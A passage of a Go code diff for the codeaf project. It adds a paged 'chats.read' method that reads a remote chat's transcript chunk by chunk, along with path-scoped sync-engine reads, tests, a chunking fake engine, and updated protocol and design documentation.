time.UnixMilli(page.SealedAtMs).UTC() + } + entries, err := appRemoteEntries(p.Cell, page.Segment, at) + if err != nil { + return appwire.ChatReadResult{}, appEntriesBusy(err) + } + // Ids count the person's messages from the top of the bytes shaped, which + // for a page is its own start; the start makes them unique across pages. + prefix := "r" + strconv.FormatInt(page.Start, 10) + "." + for i := range entries { + entries[i].ID = prefix + entries[i].ID + } + return appwire.ChatReadResult{ + Entries: entries, + More: page.More(), + Before: page.Before, + Head: page.Head, + SealedAtMs: page.SealedAtMs, + FetchedBytes: page.Fetched, + }, nil +} + +// appRemoteEntries shapes a segment of a transcript into the entries +// agents.entries would show for it: the session's tail reader and the app's own +// page builder, with no local records beside them (turn footers, kept-process +// notices and tool output files live on the computer that holds the chat). +func appRemoteEntries(chat string, segment []byte, at time.Time) ([]appwire.Entry, error) { + if len(segment) == 0 { + return []appwire.Entry{}, nil + } + record := session.ReadTranscriptBytes(segment) + // Every entry of the segment is on the page: the page was cut by bytes. + bound := 2*(len(record.Earlier)+len(record.Entries)+len(record.ModelSwitches)) + 4 + entries, _, err := appEntryPageOf(chat, record, at, map[int]appTurnMark{}, nil, "", bound, + func(session.DisplayEntry) appwire.ToolFacts { return appwire.ToolFacts{} }, nil) + return entries, err +} diff --git a/cmd/codeaf/app_chatread_test.go b/cmd/codeaf/app_chatread_test.go new file mode 100644 index 0000000000..3bd6d9b256 --- /dev/null +++ b/cmd/codeaf/app_chatread_test.go @@ -0,0 +1,104 @@ +package main + +import ( + "bytes" + "fmt" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/appwire" + "github.com/Agent-Field/codeaf/internal/session" +) + +// remoteJournal is a small journal in the shape the session writes: a header, +// then turns of a person's message, a call, its result and an answer. +func remoteJournal(turns int) []byte { + var b bytes.Buffer + b.WriteString(`{"type":"session","version":1,"id":"abc","cwd":"/w"}` + "\n") + for i := 0; i < turns; i++ { + at := time.Date(2026, 11, 15, 10, i, 0, 0, time.UTC).Format(time.RFC3339Nano) + fmt.Fprintf(&b, `{"type":"message","role":"user","content":"question %d","timestamp":%q}`+"\n", i, at) + fmt.Fprintf(&b, `{"presentation":{"audience":"human"},"type":"message","role":"assistant","content":"looking %d","toolCalls":[{"id":"bash:%d","type":"function","function":{"name":"bash","arguments":"{\"command\":\"ls\"}"}}],"timestamp":%q}`+"\n", i, i, at) + fmt.Fprintf(&b, `{"type":"message","role":"tool","toolCallId":"bash:%d","content":"a.txt","timestamp":%q}`+"\n", i, at) + fmt.Fprintf(&b, `{"presentation":{"audience":"human"},"type":"message","role":"assistant","content":"answer %d","timestamp":%q}`+"\n", i, at) + } + return b.Bytes() +} + +type entryShape struct{ Kind, Text string } + +func shapes(entries []appwire.Entry) []entryShape { + out := make([]entryShape, len(entries)) + for i, e := range entries { + out[i] = entryShape{e.Kind, e.Text} + } + return out +} + +// A remote page is shaped by the same code agents.entries uses, so the whole +// journal read as a remote page is the local chat's entries, and a page cut at +// a later turn (with the header line in front, as the pager sends it) is the +// tail of them. +func TestARemotePageIsShapedLikeTheSameChatOnThisComputer(t *testing.T) { + journal := remoteJournal(6) + path := filepath.Join(t.TempDir(), "transcript.jsonl") + if err := os.WriteFile(path, journal, 0o600); err != nil { + t.Fatal(err) + } + local, _, err := appEntryPageOf("chat", session.ReadTranscript(path), time.Time{}, map[int]appTurnMark{}, nil, "", 1000, + func(session.DisplayEntry) appwire.ToolFacts { return appwire.ToolFacts{} }, nil) + if err != nil { + t.Fatal(err) + } + remote, err := appRemoteEntries("chat", journal, time.Time{}) + if err != nil { + t.Fatal(err) + } + if fmt.Sprint(shapes(remote)) != fmt.Sprint(shapes(local)) { + t.Fatalf("remote shapes\n%v\nlocal\n%v", shapes(remote), shapes(local)) + } + if len(local) == 0 { + t.Fatal("the journal shaped to nothing") + } + header, _, _ := bytes.Cut(journal, []byte("\n")) + cut := bytes.Index(journal, []byte(`{"type":"message","role":"user","content":"question 4"`)) + tail := append(append(append([]byte{}, header...), '\n'), journal[cut:]...) + page, err := appRemoteEntries("chat", tail, time.Time{}) + if err != nil { + t.Fatal(err) + } + want := shapes(local)[len(local)-len(page):] + if len(page) == 0 || fmt.Sprint(shapes(page)) != fmt.Sprint(want) { + t.Fatalf("tail page\n%v\nwant the local tail\n%v", shapes(page), want) + } + if !strings.Contains(page[0].Text, "question 4") { + t.Fatalf("the page opens on %q, want the person's question 4", page[0].Text) + } +} + +// A page cut from a journal a newer codeaf wrote says so, because its header +// line rides in front of every page. +func TestARemotePageOfANewerJournalSaysItCannotBeRead(t *testing.T) { + journal := []byte(`{"type":"session","version":999,"id":"abc"}` + "\n" + `{"type":"message","role":"user","content":"hi"}` + "\n") + entries, err := appRemoteEntries("chat", journal, time.Time{}) + if err != nil { + t.Fatal(err) + } + if len(entries) != 1 || entries[0].Kind != appwire.EntryNotice || !strings.Contains(entries[0].Text, "newer codeaf") { + t.Fatalf("entries = %+v; want the newer-codeaf notice alone", entries) + } +} + +// chats.read is absent from hello on an engine whose furrow cannot read paths. +func TestChatsReadNeedsAnEngineThatReadsPaths(t *testing.T) { + was := appReadsPaths + t.Cleanup(func() { appReadsPaths = was }) + b := &appBackend{} + appReadsPaths = func() bool { return false } + if b.CanReadChats() { + t.Fatal("chats.read offered by an engine that cannot read a path") + } +} diff --git a/docs/design/app-v3/PROTOCOL.md b/docs/design/app-v3/PROTOCOL.md index ef41f72e67..aa5a92eb65 100644 --- a/docs/design/app-v3/PROTOCOL.md +++ b/docs/design/app-v3/PROTOCOL.md @@ -415,6 +415,7 @@ keeps the value in a private file the agent's commands read (the model's own | method | params | result | |---|---|---| | `chats.list` | `{}` | `ChatsResult` | +| `chats.read` | `ChatReadParams` | `ChatReadResult` | | `chats.preview` | `{cell}` | `{last_user?: string, last_assistant?: string}` | | `chats.send` | `ChatSendParams` | `ChatSendResult` | @@ -3538,6 +3539,31 @@ chat, not the computer, is the address: a message not yet taken goes to whichever computer holds the chat when it is read, including the sender after a move. Only an engine that keeps the chat list (the app) takes messages. +`chats.read {cell, before?, limit?}` answers `{entries, more, before?, head, +sealed_at_ms?, fetched_bytes}`: one page of the transcript of a chat another +computer holds, as that computer last sealed it, without taking the chat. A +turn running there now is not on it. `entries` are the same `Entry` +`agents.entries` answers for a local chat, oldest to newest within the page; +the first call (no `before`) is the newest page, and `before` from a page is +the opaque cursor of the next older one, read at the same `head` even after +newer turns land. `more` is false once a page reaches the start. A page holds +at least `limit` entries (default 50) unless it reaches the start, and never +splits a turn, so it can hold more. Entry ids are unique within a page read; +a client replaces its pages when `head` changes. Turn footers, notices and tool +output facts are local records and are not on a remote page. `fetched_bytes` +is what the call pulled from the relay (0 when every byte was held). It fetches +only the transcript's own objects and the chunks under the page, into the +store a later `agents.take` of the chat fetches into, so continuing the chat +afterwards copies only the rest. No lease is taken, nothing is restored, no +agent is opened. `chats.read.paged` in `hello` says the method exists: only +when a relay is configured and the engine's furrow can read one path of a +snapshot. It is a word of its own. The older `chats.read` word means something +else and is advertised on its own terms: that `agents.entries` on a remote row +follows a saved remote head without taking the chat. An engine may say either, +both or neither, so a client checks `chats.read.paged` before calling the +`chats.read` method and `chats.read` before relying on `agents.entries` for a +chat held elsewhere. + `chats.crew` in `hello` says every `chats.list` row and `chat.changed` row carries the crew its chat belongs to on its holder, additively: `crew` (the crew id), `crew_name`, `crew_manager:true` for the crew's manager chat (the one diff --git a/docs/design/remote-read/DESIGN.md b/docs/design/remote-read/DESIGN.md index 97ed9af8da..f84af96641 100644 --- a/docs/design/remote-read/DESIGN.md +++ b/docs/design/remote-read/DESIGN.md @@ -1,18 +1,19 @@ # Reading a chat that lives on another computer -**Status (2026-11-23): the `chats.read` METHOD described below is not in the tree.** -It was built on 2026-11-15 (#2650) and, when the organization server's branch landed on -`dev`, folded into what `dev` already had for the same ask: `agents.entries` on a chat -held elsewhere reads its saved head into private scratch and pages it with `before` and -`limit`, and the hello word `chats.read` says that works. That reader never leases a -chat, never restores a folder and removes what it staged before it returns, and it asks -nothing when hosted storage is off. What it does not do is what this page measured: it -fetches the whole saved transcript, not just the chunks under one page, and keeps nothing -a later take could reuse. The design and its numbers are kept below as the record of that -alternative. The code (`cellsync.Reader` and `Pager`, `cellstore` path reads, furrow -v0.3.7's `want --path`, `peek` and `read`) is in the history of commit `cf6a4d23b`; the -embedded furrow is back on v0.3.6, which has none of those verbs. The section on crews at -the end is unaffected. +**Status (2026-11-24): built, and in the tree beside dev's reader.** The +`chats.read` method described below was built on 2026-11-15 (#2650). When the +organization server's branch landed on `dev` it was dropped as a duplicate of what +`dev` already had for the same ask, which is a different thing: `agents.entries` +on a chat held elsewhere reads its saved head into private scratch and pages it +with `before` and `limit`, and the hello word `chats.read` says that works. That +reader fetches the whole saved transcript and keeps nothing a later take could +reuse. Nothing Santosh built is dropped, so the chunk-paged reader is back, +additively: the `chats.read` method is advertised under its own hello word, +`chats.read.paged`, and `chats.read` keeps the meaning it has on `dev`, so a +client can tell which of the two abilities an engine has. `agents.entries` and +its tests are unchanged. The embedded furrow is v0.3.7 again, because the method +needs the path-read verbs that v0.3.6 does not have; with an older furrow the word +is absent from hello, not present and failing. ## The ask diff --git a/internal/appwire/chats.go b/internal/appwire/chats.go index e7a03164f1..ed97a1fd90 100644 --- a/internal/appwire/chats.go +++ b/internal/appwire/chats.go @@ -20,8 +20,23 @@ const ( // computer puts in the chat's queue, so it runs when the turn there ends. // It is absent while the account's hosted sync storage is off ([ChatsSendOffer]). FeatureChatsSend = "chats.send" - // FeatureChatsRead says agents.entries follows saved remote heads without taking the chat. + // FeatureChatsRead says agents.entries follows saved remote heads without + // taking the chat. It means that and nothing else: a client that sees it + // has NOT been told the chats.read method exists (that is + // [FeatureChatsReadPaged]), so the word keeps the one meaning it was + // shipped with. FeatureChatsRead = "chats.read" + // FeatureChatsReadPaged says the chats.read method exists: the transcript + // of a chat another computer holds, read page by page from what that + // computer last sealed, fetching only the chunks under the page and + // keeping them in the store a later agents.take fetches into, without + // taking the chat and without downloading its project folder. It is a + // word of its own, added beside [FeatureChatsRead] and never in its place, + // because the two arrived on different branches and a client must be able + // to tell which one it got. It is absent unless a relay is configured AND + // the engine codeaf seals with can read one path of a snapshot (a + // capability that cannot work is absent). + FeatureChatsReadPaged = "chats.read.paged" // FeatureChatsCrew says chat rows carry crew, crew_name, crew_manager and // crew_kind: the crew a chat belongs to on the computer that holds it, so a // client can show a crew made on another computer as one crew. A row from @@ -188,6 +203,43 @@ type ChatsTaker interface { TakeAgent(TakeParams) (Agent, error) } +// ChatReadParams asks for one page of a remote chat's transcript. Before is the +// cursor a previous page answered; empty is the newest page. Limit is the +// fewest entries a page holds before it reaches the start (a turn is never +// split, so a page can hold more); zero or less is ChatReadLimit. +type ChatReadParams struct { + Cell string `json:"cell"` + Before string `json:"before,omitempty"` + Limit int `json:"limit,omitempty"` +} + +// ChatReadLimit is the page size when a client names none. +const ChatReadLimit = 50 + +// ChatReadResult is one page, oldest to newest within it, newest page first. +// Entries are the same Entry agents.entries answers for a chat on this +// computer. Before is the cursor of the next older page and More is false once +// the page reaches the start of the transcript. Head is the snapshot the page +// was read at, and SealedAtMs when that turn was sealed, when known. The +// transcript is what the holder last sealed: a turn running there now is not +// on it. FetchedBytes is what this call pulled from the relay, 0 when this +// computer already held every byte it needed. +type ChatReadResult struct { + Entries []Entry `json:"entries"` + More bool `json:"more"` + Before string `json:"before,omitempty"` + Head string `json:"head"` + SealedAtMs int64 `json:"sealed_at_ms,omitempty"` + FetchedBytes int64 `json:"fetched_bytes"` +} + +// ChatsReader reads chats other computers hold. CanReadChats is asked at every +// hello, so the feature appears and disappears with the relay and the engine. +type ChatsReader interface { + CanReadChats() bool + ReadChat(ChatReadParams) (ChatReadResult, error) +} + // ChatsMover cancels a move agents.take is running or has queued. type ChatsMover interface { CancelTake(TakeCancelParams) (TakeCancelResult, error) @@ -246,6 +298,9 @@ func withChatsFeatures(h Hello, e Engine) Hello { h = withFeature(h, FeatureChatsSend) } } + if d, ok := e.(ChatsReader); ok && d.CanReadChats() { + h = withFeature(h, FeatureChatsReadPaged) + } if d, ok := e.(ChatsCrewer); ok && d.ChatRowsCarryCrews() { h = withFeature(h, FeatureChatsCrew) } @@ -303,6 +358,21 @@ func init() { got, err := d.SendToChat(p) return &ChatSendResult{Note: got}, err }) + methods["chats.read"] = typed(func(e Engine, p ChatReadParams) (*ChatReadResult, error) { + d, ok := e.(ChatsReader) + if !ok || !d.CanReadChats() { + return nil, Errorf(CodeUnknownMethod, "this engine does not read chats on other computers") + } + if _, err := required("cell", p.Cell); err != nil { + return nil, err + } + if p.Limit <= 0 { + p.Limit = ChatReadLimit + } + got, err := d.ReadChat(p) + got.Entries = nonNil(got.Entries) + return &got, err + }) methods["agents.take_cancel"] = typed(func(e Engine, p TakeCancelParams) (*TakeCancelResult, error) { d, ok := e.(ChatsMover) if !ok { diff --git a/internal/appwire/chats_read_test.go b/internal/appwire/chats_read_test.go new file mode 100644 index 0000000000..3ea92bd119 --- /dev/null +++ b/internal/appwire/chats_read_test.go @@ -0,0 +1,92 @@ +package appwire + +import ( + "encoding/json" + "slices" + "testing" +) + +// reader is an engine that reads remote chats when can says so. +type reader struct { + fakeEngine + can bool + got ChatReadParams + page ChatReadResult +} + +func (r *reader) CanReadChats() bool { return r.can } + +func (r *reader) ReadChat(p ChatReadParams) (ChatReadResult, error) { + r.got = p + return r.page, nil +} + +// The chats.read METHOD is advertised, under the hello word chats.read.paged, +// only by an engine that can serve it NOW (a relay and a furrow that reads +// paths), and refused as unknown otherwise: a capability that cannot work is +// absent, not present and failing. The older word chats.read keeps its own +// meaning (agents.entries follows saved remote heads) and a paged reader alone +// never sets it (contract B1, B2). +func TestChatsReadIsAbsentUnlessTheEngineCanReadNow(t *testing.T) { + if !slices.Contains(Methods(), "chats.read") { + t.Fatal("chats.read is not registered") + } + cannot := &reader{} + if h := withChatsFeatures(Hello{}, cannot); slices.Contains(h.Features, FeatureChatsReadPaged) || slices.Contains(h.Features, FeatureChatsRead) { + t.Fatal("an engine that cannot read advertises a chats.read word") + } + if _, err := methods["chats.read"].call(cannot, json.RawMessage(`{"cell":"x"}`)); codeOf(err) != CodeUnknownMethod { + t.Fatalf("an engine that cannot read answered %v", err) + } + if _, err := methods["chats.read"].call(&fakeEngine{}, json.RawMessage(`{"cell":"x"}`)); codeOf(err) != CodeUnknownMethod { + t.Fatalf("an old engine answered %v", err) + } + can := &reader{can: true, page: ChatReadResult{Head: "h", More: true, Before: "c"}} + if h := withChatsFeatures(Hello{}, can); !slices.Contains(h.Features, FeatureChatsReadPaged) { + t.Fatal("an engine that can read does not advertise chats.read.paged") + } else if slices.Contains(h.Features, FeatureChatsRead) { + t.Fatal("a paged reader alone advertises dev's chats.read word, which means agents.entries follows saved heads") + } + if _, err := methods["chats.read"].call(can, json.RawMessage(`{}`)); codeOf(err) != CodeBadParams { + t.Fatalf("a read with no cell answered %v", err) + } + out, err := methods["chats.read"].call(can, json.RawMessage(`{"cell":"x"}`)) + if err != nil { + t.Fatal(err) + } + if can.got.Limit != ChatReadLimit { + t.Fatalf("limit defaulted to %d, want %d", can.got.Limit, ChatReadLimit) + } + raw, _ := json.Marshal(out) + var shape map[string]any + if err := json.Unmarshal(raw, &shape); err != nil { + t.Fatal(err) + } + // entries is [] (never null), fetched_bytes is always said, even when 0. + if e, ok := shape["entries"].([]any); !ok || len(e) != 0 { + t.Fatalf("entries = %v in %s", shape["entries"], raw) + } + for _, key := range []string{"more", "before", "head", "fetched_bytes"} { + if _, ok := shape[key]; !ok { + t.Fatalf("%s missing from %s", key, raw) + } + } +} + +// An engine that follows saved remote heads (dev's reader) says chats.read and +// NOT chats.read.paged, and one that has both says both: the two words are +// independent (contract B1, B2). +func TestTheTwoChatsReadWordsAreIndependent(t *testing.T) { + if h := withChatsFeatures(Hello{}, &qaReadingEngine{}); !slices.Contains(h.Features, FeatureChatsRead) || slices.Contains(h.Features, FeatureChatsReadPaged) { + t.Fatalf("a follower alone advertises %v", h.Features) + } + both := &readerAndFollower{reader: reader{can: true}} + if h := withChatsFeatures(Hello{}, both); !slices.Contains(h.Features, FeatureChatsRead) || !slices.Contains(h.Features, FeatureChatsReadPaged) { + t.Fatalf("an engine with both abilities advertises %v", h.Features) + } +} + +// readerAndFollower has the paged reader and dev's saved-head follower. +type readerAndFollower struct{ reader } + +func (*readerAndFollower) ChatReadsFollow() bool { return true } diff --git a/internal/cellstore/pathread.go b/internal/cellstore/pathread.go new file mode 100644 index 0000000000..64d86b0a3a --- /dev/null +++ b/internal/cellstore/pathread.go @@ -0,0 +1,277 @@ +package cellstore + +// ── READING ONE FILE OF A CHAT THIS COMPUTER DOES NOT HOLD ────────────────── +// +// A chat another computer holds is a sealed snapshot on the relay: its project +// folder, its .cell/ state and its transcript, all in one object graph. The +// only reader that graph had was a take, and a take wants EVERY object the head +// reaches — the whole project folder, which can be gigabytes — before it shows +// a single line. Showing a person what was said in a chat must not cost them +// the chat's project folder. +// +// So the three verbs below ask the engine for ONE PATH of a head and, for a +// file, ONE BYTE RANGE of it: +// +// - wantPath names the objects on the way to the path (the snapshot, the +// trees above it, the file's own index object) and, with a range, only the +// chunks that overlap it. The engine chunks files by their content, so a +// transcript that grew by a turn keeps every earlier chunk byte for byte: +// reading it again downloads its index and its new tail, never its past. +// - peek says what the store holds of the path without the network. +// - read writes the bytes of a range out of held chunks and restores nothing. +// +// THE OBJECTS LAND IN THE CHAT'S OWN STORE, the one a take of that chat fetches +// into, through the same import a take uses. A person who reads a chat and then +// continues it here pays for each object once: the take's whole-graph want +// finds the transcript's objects already held and asks only for the rest. +// +// NOTHING HERE LEASES, MATERIALIZES OR NEEDS THE CHAT'S FOLDER TO EXIST. A read +// is a spectator: the chat stays where it is held, nothing is written outside +// codeaf's own store, and the relay and its encryption are exactly as they were. +// DO NOT "SIMPLIFY" A READ INTO A WHOLE-HEAD FETCH OR A MATERIALIZE — that is +// the cost this exists to avoid (docs/design/remote-read/DESIGN.md). + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "sync" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// ErrIncomplete is the engine saying an object on the way to what was asked is +// not in the store yet: the caller wants and imports it, then asks again. +var ErrIncomplete = errors.New("store does not hold every object this read needs") + +// ErrNoPath is the engine saying the snapshot has nothing at the path asked: a +// chat sealed before its transcript existed, say. It is an answer, not a fault. +var ErrNoPath = errors.New("the snapshot has nothing at that path") + +// PeekChunk is one chunk of a file as the store holds it: the bytes [Start, +// End) of the file, and whether this computer already has them. +type PeekChunk struct { + Start int64 `json:"start"` + End int64 `json:"end"` + Held bool `json:"held"` +} + +// PeekEntry is one name in a directory a peek looked at. +type PeekEntry struct { + Name string `json:"name"` + Kind string `json:"kind"` + Len int64 `json:"len"` +} + +// Peek is what the store knows of one path of a head, read without the network: +// a file's length and the chunks it is cut into, or a directory's names. The +// chunk boundaries are what let a reader fetch a page of a transcript and not +// the transcript. +type Peek struct { + Kind string `json:"kind"` + Len int64 `json:"len"` + Chunks []PeekChunk `json:"chunks,omitempty"` + Entries []PeekEntry `json:"entries,omitempty"` +} + +// wantPathOp is want narrowed to one path and, when Start and End are set, +// one byte range of it. The daemon reads start/end; the command line spells them +// --range S:E. +type wantPathOp struct { + Head string `json:"head"` + Path string `json:"path"` + Start *int64 `json:"start,omitempty"` + End *int64 `json:"end,omitempty"` + keyArgs +} + +func (wantPathOp) Verb() string { return "want" } + +func (o wantPathOp) Args() []string { + args := []string{"--json", "want", "--head", o.Head, "--path", o.Path} + if o.Start != nil && o.End != nil { + args = append(args, "--range", strconv.FormatInt(*o.Start, 10)+":"+strconv.FormatInt(*o.End, 10)) + } + return args +} + +// peekOp asks what the store holds of one path, never the network. +type peekOp struct { + Head string `json:"head"` + Path string `json:"path"` + keyArgs +} + +func (peekOp) Verb() string { return "peek" } + +func (o peekOp) Args() []string { + return []string{"--json", "peek", "--head", o.Head, "--path", o.Path} +} + +// readOp writes bytes [Start, End) of one file to Out from held chunks. +type readOp struct { + Head string `json:"head"` + Path string `json:"path"` + Start int64 `json:"start"` + End int64 `json:"end"` + Out string `json:"out"` + keyArgs +} + +func (readOp) Verb() string { return "read" } + +func (o readOp) Args() []string { + return []string{"--json", "read", "--head", o.Head, "--path", o.Path, + "--range", strconv.FormatInt(o.Start, 10) + ":" + strconv.FormatInt(o.End, 10), "--out", o.Out} +} + +// WantPath names the remote ids the store lacks on the way to path at head, +// and — when ranged — the chunks of the file that overlap [start, end). Empty +// means everything that scope needs is held. It is the narrow half of Want: it +// never walks the project folder. +func (e SyncEngine) WantPath(ctx context.Context, c cell.Cell, head, path string, ranged bool, start, end int64) ([]string, error) { + op := wantPathOp{Head: head, Path: path, keyArgs: hexKeys(e.Keys)} + if ranged { + op.Start, op.End = &start, &end + } + var out struct { + Want []string `json:"want"` + } + return out.Want, e.askRead(ctx, c, op, &out) +} + +// Peek implements the read seam: what the store holds of path at head. +func (e SyncEngine) Peek(ctx context.Context, c cell.Cell, head, path string) (Peek, error) { + var out Peek + return out, e.askRead(ctx, c, peekOp{Head: head, Path: path, keyArgs: hexKeys(e.Keys)}, &out) +} + +// ReadRange writes bytes [start, end) of path at head to out from held chunks +// and answers how many it wrote. +func (e SyncEngine) ReadRange(ctx context.Context, c cell.Cell, head, path string, start, end int64, out string) (int64, error) { + var answer struct { + Bytes int64 `json:"bytes"` + } + op := readOp{Head: head, Path: path, Start: start, End: end, Out: out, keyArgs: hexKeys(e.Keys)} + return answer.Bytes, e.askRead(ctx, c, op, &answer) +} + +// ImportPath is Import for a read: the same verb, the same store and ledger, +// so what a read brings is exactly what a take would have imported, but run +// from the store root (askRead) because the chat's folder does not exist here. +func (e SyncEngine) ImportPath(ctx context.Context, c cell.Cell, head, inbox string) (int, error) { + op := importOp{Head: head, Inbox: inbox, Ledger: e.Ledger, keyArgs: hexKeys(e.Keys)} + var out struct { + Imported int `json:"imported"` + } + return out.Imported, e.askRead(ctx, c, op, &out) +} + +// askRead is ask for the read verbs and the read's import, against the chat's own store but +// never its folder. The tree a verb names is only the working directory of a +// spawned engine (none of the three reads it), and the chat's folder does not +// exist on a computer that only reads the chat — creating it to have somewhere +// to stand would be exactly the trace on disk a read must not leave. So the +// engine stands in codeaf's own store root. The engine's refusal is mapped to +// the two errors a reader acts on. +func (e SyncEngine) askRead(ctx context.Context, c cell.Cell, op Op, out any) error { + t := e.Target(c) + t.CellDir = "" + t.Tree = filepath.Dir(t.DataDir) + if err := os.MkdirAll(t.Tree, 0o700); err != nil { + return err + } + raw, err := e.Transport.Do(ctx, t, op) + if err != nil { + return readRefusal(op.Verb(), c, err) + } + if out == nil { + return nil + } + if err := json.Unmarshal(raw, out); err != nil { + return wrapVerb(op.Verb(), c, errors.New("unreadable answer: "+err.Error())) + } + return nil +} + +// readRefusal maps the engine's JSON error code onto ErrIncomplete or ErrNoPath, +// keeping its words. The engine spells the refusal as one JSON object, whole +// on stderr or as the daemon's err; the codes are matched, not the prose. +func readRefusal(verb string, c cell.Cell, err error) error { + text := err.Error() + switch { + case strings.Contains(text, `"code":"incomplete"`): + return wrapVerb(verb, c, errors.Join(ErrIncomplete, err)) + case strings.Contains(text, `"code":"not_found"`): + return wrapVerb(verb, c, errors.Join(ErrNoPath, err)) + } + return wrapVerb(verb, c, err) +} + +func wrapVerb(verb string, c cell.Cell, err error) error { + return &verbError{verb: verb, cell: c.ID, err: err} +} + +type verbError struct { + verb, cell string + err error +} + +func (v *verbError) Error() string { + return "sync " + v.verb + " of cell " + v.cell + ": " + v.err.Error() +} +func (v *verbError) Unwrap() error { return v.err } + +// ── WHETHER THE ENGINE CAN READ A PATH ────────────────────────────────────── + +// readVerb is the capability the read door needs: an engine whose +// capabilities list names it knows want --path, peek and read. +const readVerb = "read" + +// pathReads remembers the answer per engine path, like probed: one spawn per +// process, not one per hello. +var pathReads sync.Map // path -> bool + +// ReadsPaths reports whether the engine codeaf seals with can read one path of +// a head. It ASKS THE ENGINE (furrow --json capabilities) rather than trying a +// read and failing, because a capability that cannot work is absent: the app +// is never offered chats.read by an engine that would refuse every call. An +// engine too old to have a capabilities verb exits non-zero, and is absent. +func ReadsPaths() bool { + bin, err := sealingEngine() + if err != nil { + return false + } + return ReadsPathsAt(bin) +} + +// ReadsPathsAt is ReadsPaths for one engine binary. +func ReadsPathsAt(bin string) bool { + if known, ok := pathReads.Load(bin); ok { + return known.(bool) + } + ctx, cancel := context.WithTimeout(context.Background(), probeTimeout) + defer cancel() + var out bytes.Buffer + cmd := exec.CommandContext(ctx, bin, "--json", "capabilities") //codeaf:plumbing capability probe of the sealing engine + cmd.Stdout = &out + can := false + if cmd.Run() == nil { + var doc struct { + Verbs []string `json:"verbs"` + } + if json.Unmarshal(bytes.TrimSpace(out.Bytes()), &doc) == nil { + for _, v := range doc.Verbs { + can = can || v == readVerb + } + } + } + pathReads.Store(bin, can) + return can +} diff --git a/internal/cellsync/fake.go b/internal/cellsync/fake.go index a54d40dc4c..4a61688dff 100644 --- a/internal/cellsync/fake.go +++ b/internal/cellsync/fake.go @@ -34,11 +34,42 @@ var objectMagic = []byte("AGEO\x01") const ( kindBlob byte = 'b' kindSnap byte = 's' + // kindFile and kindChunk are a file sealed in pieces (FakeEngine.ChunkSize): + // an index naming its chunks, as the real engine's Blob does, and the + // chunks. They exist so a test can prove a read fetched a file's index and + // the chunks under one page, and nothing else. + kindFile byte = 'f' + kindChunk byte = 'k' ) var childrenOf = map[byte]func(payload []byte) ([]string, error){ - kindBlob: func([]byte) ([]string, error) { return nil, nil }, - kindSnap: snapshotChildren, + kindBlob: func([]byte) ([]string, error) { return nil, nil }, + kindChunk: func([]byte) ([]string, error) { return nil, nil }, + kindSnap: snapshotChildren, + kindFile: fileChildren, +} + +// fileIndex is a chunked file: its chunks in order and their lengths. +type fileIndex struct { + Chunks []fileChunk `json:"chunks"` + Len int64 `json:"len"` +} + +type fileChunk struct { + RID string `json:"rid"` + Len int64 `json:"len"` +} + +func fileChildren(payload []byte) ([]string, error) { + var idx fileIndex + if err := json.Unmarshal(payload, &idx); err != nil { + return nil, err + } + out := make([]string, len(idx.Chunks)) + for i, ch := range idx.Chunks { + out[i] = ch.RID + } + return out, nil } // snapshot is the fake's tree and snapshot in one: the files of a turn and the @@ -127,6 +158,13 @@ type FakeEngine struct { Dir string // MaxObjects closes a frame after this many objects; 0 puts them all in one. MaxObjects int + // ChunkSize, when positive, seals every file as an index and chunks of this + // many bytes at fixed offsets. Like the real engine's content-defined cuts, + // appending to a file leaves every full chunk before the end unchanged. + ChunkSize int + // Materialized counts Materialize calls, so a test can prove a read never + // restored anything. + Materialized int mu sync.Mutex cells map[string]*fakeCell @@ -168,9 +206,7 @@ func (f *FakeEngine) Seal(c cell.Cell, files map[string]string) string { fc := f.cell(c) snap := snapshot{Parent: fc.last, Files: map[string]string{}} for path, content := range files { - rid, raw := pack(kindBlob, []byte(content)) - fc.objects[rid] = raw - snap.Files[path] = rid + snap.Files[path] = f.packFile(fc, []byte(content)) } payload, _ := json.Marshal(snap) // a struct of strings cannot fail to encode head, raw := pack(kindSnap, payload) @@ -179,6 +215,51 @@ func (f *FakeEngine) Seal(c cell.Cell, files map[string]string) string { return head } +// packFile stores content as one blob, or as an index and chunks when the +// engine chunks, and answers the rid the snapshot names. +func (f *FakeEngine) packFile(fc *fakeCell, content []byte) string { + if f.ChunkSize <= 0 { + rid, raw := pack(kindBlob, content) + fc.objects[rid] = raw + return rid + } + idx := fileIndex{Len: int64(len(content)), Chunks: []fileChunk{}} + for at := 0; at < len(content); at += f.ChunkSize { + piece := content[at:min(at+f.ChunkSize, len(content))] + rid, raw := pack(kindChunk, piece) + fc.objects[rid] = raw + idx.Chunks = append(idx.Chunks, fileChunk{RID: rid, Len: int64(len(piece))}) + } + payload, _ := json.Marshal(idx) + rid, raw := pack(kindFile, payload) + fc.objects[rid] = raw + return rid +} + +// content is the bytes of a file object, blob or chunked. +func (fc *fakeCell) content(rid string) ([]byte, error) { + kind, payload, err := unpack(fc.objects[rid]) + if err != nil { + return nil, err + } + if kind != kindFile { + return payload, nil + } + var idx fileIndex + if err := json.Unmarshal(payload, &idx); err != nil { + return nil, err + } + var out []byte + for _, ch := range idx.Chunks { + _, piece, err := unpack(fc.objects[ch.RID]) + if err != nil { + return nil, err + } + out = append(out, piece...) + } + return out, nil +} + // Export implements Engine. func (f *FakeEngine) Export(_ context.Context, c cell.Cell, head string) (Export, error) { f.mu.Lock() @@ -480,6 +561,7 @@ func readVerified(inbox, rid string, wanted map[string]bool) ([]byte, error) { func (f *FakeEngine) Materialize(_ context.Context, c cell.Cell, head string) error { f.mu.Lock() defer f.mu.Unlock() + f.Materialized++ fc := f.cell(c) if missing, err := fc.want(head); err != nil || len(missing) > 0 { return fmt.Errorf("fake engine: head %s is incomplete (missing %v, err %v)", head, missing, err) @@ -539,7 +621,7 @@ func (f *FakeEngine) StageState(_ context.Context, c cell.Cell, head string) err // snapshot does not hold is removed. func (fc *fakeCell) writeFiles(root string, snap snapshot) error { for path, rid := range snap.Files { - _, content, err := unpack(fc.objects[rid]) + content, err := fc.content(rid) if err != nil { return err } diff --git a/internal/cellsync/fake_read.go b/internal/cellsync/fake_read.go new file mode 100644 index 0000000000..d6b717172d --- /dev/null +++ b/internal/cellsync/fake_read.go @@ -0,0 +1,155 @@ +package cellsync + +import ( + "context" + "encoding/json" + "fmt" + "os" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" +) + +// The fake's half of the read seam (read.go): the path-scoped want, peek and +// read the real engine answers, over the fake's 